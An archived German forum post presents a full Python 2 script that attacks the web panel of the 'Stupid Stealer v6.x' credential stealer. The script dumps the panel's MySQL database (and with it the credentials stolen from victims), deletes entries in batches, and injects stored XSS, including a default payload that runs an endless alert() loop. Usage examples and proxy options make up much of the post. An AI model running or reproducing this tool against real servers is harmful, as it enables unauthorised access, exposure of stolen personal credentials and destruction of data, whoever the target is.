PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [B] Stupid Stealer v6.x one cli hack tool



EBFE
31.08.2010, 01:06
Das nachfolgende Script "hackt" Stupid Stealer v6.0 Webpanel mit nur einer Kommandozeile ;)

Features:
- man kann die komplette Datenbank dumpen
- man kann Einträge aus der Datenbank löschen
- XSS Injection (sowas lustiges wie <script type ="text/javascript">while(1) alert("hi :-)")</script>
- Proxynutzung

Edit: gerade die Version 6.5 des Stealers bei HH gesichtet/getestet:
leider wurde der Bug gefixt, der den DB-Dump erlaubte. Aber XSS und vor allem DB Einträge löschen geht trotzdem :twisted
Bitte beachten, dass der Webpanelheader trotz des Updades nicht geändert wurde (steht immer noch v6.0).

Schade, dass ich den Stealer nicht früher entdeckt habe ;)

Getestet: mit Python 2.6
Laufen sollte es mit Python 2.7 (http://www.python.org/download/) und höher (wer Python 2.6 nutzt, sollte mit "easy_install argparse" noch das argparse modul nachladen)
Nutzung:



anti_stupid.py -h
usage: anti.py [-h] [-d [file]] [-del from to] [-i [XSS Code]]
[-p http://proxy.example.com:8080]
URL

EBFE's one command line 'StupidStealer v6.0' H4ckT00l :)

positional arguments:
URL target URL, e.g "http://l337url.cc"

optional arguments:
-h, --help show this help message and exit
-d [file], --dump [file]
dump MySQL database to file (default: <stdout>)
-del from to, --delete from to
delete data entries from MySQL database from =
startvalue, to = endvalue
-i [XSS Code], --inject [XSS Code]
inject some HTML code, max. length: 255 (default:
<script type="text/javascript">while(1) alert("u w3r3
h4x0r3d by m3 :)")</script>)
-p http://proxy.example.com:8080, --proxy http://proxy.example.com:8080
use a http proxy
sollte das meiste erklären (argparse <3)

Bsp. Aufrufe:


anti_stupid.py http://localhost.com -del 1 1000
anti_stupid.py http://localhost.com -d mydump.txt
anti_stupid.py http://localhost.com -i "<script>alert(\"hi\")</script>"
Kleine Anmerkung(en):



Das Löschen der Einträge aus der DB funktioniert in 100-er Schritten.D.h es werden auf einmal min. 100 Einträge gelöscht (womit man sehr schnell auch über recht lahme Proxyverbindung die DB leeren kann). Die Start/Endwerte für Einträge werden benötigt, da das Script nicht weiß, wieviele Einträge insgesamt in der DB vorhanden sind. Zudem werden die Einträge über die interne DB-ID gelöscht (und die wird automatisch vergeben/hochgezählt, d.h wenn z.B aktuell nur 2 Einträge vorhanden sind, aber vorher 100 gelöscht wurden, diese Einträge IDs 101 und 102 haben, so dass man die nur mit "-del 100 102" löschen wird)
wird beim dumpen keine Zieldatei angegeben, so wird alles auf in die Konsole ausgegeben, was z.T recht viel sein kann ;). Zudem wird zuerst die komplette Datei geladen, bevor sie geschrieben wird (d.h nicht wundern, warum über längere Zeit nichts kommt - wenn die Logdatei etwas größer ist, dauert es eben)
wird explizit kein Proxy angegeben, so wird der System(default)proxy genutzt. Das nur am Rande für "non-Pythoner" ;)
XSS Injection war just4fun gemacht worden - einfach nur um coole Nachrichten hinterlassen zu können ;)


Script:


# autor: EBFE
# mail: ebfe@inbox.ru
# require: argparse module -> python 2.7
# for python < 2.7: run "easy_install argparse"
import argparse, sys, urllib, random, time

a_z = [chr(x) for x in range(ord('a'),ord('z')+1)]
A_Z = [x.upper() for x in a_z]
chars = list("0123456789") + A_Z + a_z

def get_args():
parser = argparse.ArgumentParser(description = 'EBFE\'s one command line '\
'\'StupidStealer v6.0\' H4ckT00l :)')
parser.add_argument('URL', type = str, help = 'target URL, e.g '\
'"http://l337url.cc"')
parser.add_argument('-d', '--dump', metavar = 'file', nargs = '?',
type=argparse.FileType('a'), const = sys.stdout,
help = 'dump MySQL database to file'\
' (default: <stdout>)')
parser.add_argument('-del', '--delete', metavar = ('from', 'to'),
type = int, nargs = 2,
help = 'delete data entries from MySQL database\n\n'\
'from = startvalue, to = endvalue')
parser.add_argument('-i', '--inject', metavar = 'XSS Code', nargs = '?',
type = str, help = 'inject some HTML code, '\
'max. length: 255 (default: %(const)s)',
const = '<script type="text/javascript">while(1) '\
'alert(\"u w3r3 h4x0r3d by m3 :)\")</script>')
parser.add_argument('-p', '--proxy', type = str,
metavar = ('http://proxy.example.com:8080'),
help = 'use a http proxy')
return parser.parse_args()

def rand_string(minlen, maxlen):
result = []
for i in range(random.randrange(minlen, maxlen)):
result.append(random.choice(chars))
return "".join(result)

def rand_ip():
return ".".join([str(random.randrange(255)) for i in [1,2,3,4]])

def rand_date():
return time.strftime("%d:%m:%Y",time.gmtime(time.time()
+ random.randrange(-60*60*24, 60*60*24)))

# protocol, url, user, pass, pcname, date, ip)
def inject():
injection = url = args.inject +\
"\', %s, %s, %s, %s, %s);-- '".replace("%s", "\'%s\'") %\
(rand_string(3,10), rand_string(5, 12),
rand_string(5, 10), rand_date(), rand_ip())

url = args.URL + '?' + urllib.urlencode((('action', 'add'),
('protocol', 'msn'),('url', injection), ('user', rand_string(3, 10)),
('pass', rand_string(5, 12)), ('pcname', rand_string(5, 10)),
('date', rand_date())))
page = urllib.urlopen(url, args.proxy)
print "HTTP %d \nContent-Length: %d" % (page.getcode(), len(page.read()))
page.close()

def dump():
# POST: export_all=Export+All+Logs
print "dumping '%s' DB to: '%s'" % (args.URL, args.dump.name)
post = urllib.urlencode({'export_all': 'Export All Logs'})
page = urllib.urlopen(args.URL, post, args.proxy)
print "HTTP %d" % page.getcode()
args.dump.write(page.read())
page.close()

def delete(start, end):
#POST: sel[]=1&sel[]=2 ... &sel[]=100&delete=Delete
dels = [('delete','Delete')]
for i in xrange(start, end):
dels.append(('sel[]', i))

print "deleting from %d to %d ..." % (start, end)
page = urllib.urlopen(args.URL, urllib.urlencode(dels), args.proxy)
print "HTTP %d" % page.getcode()
page.close()

def main():
args.URL = args.URL + '/index.php'
if args.proxy:
print "proxy:", args.proxy
args.proxy = {"http:":args.proxy}

if args.dump:
dump()
args.dump.close()

if args.delete:
for i in xrange(args.delete[0], args.delete[1], 100):
delete(i, i + 100)

if args.inject:
args.inject = args.inject.replace("\'", "\"")
print "inject XSS:\n%s\nto:'%s'" %(args.inject, args.URL)
inject()

args = get_args()
main()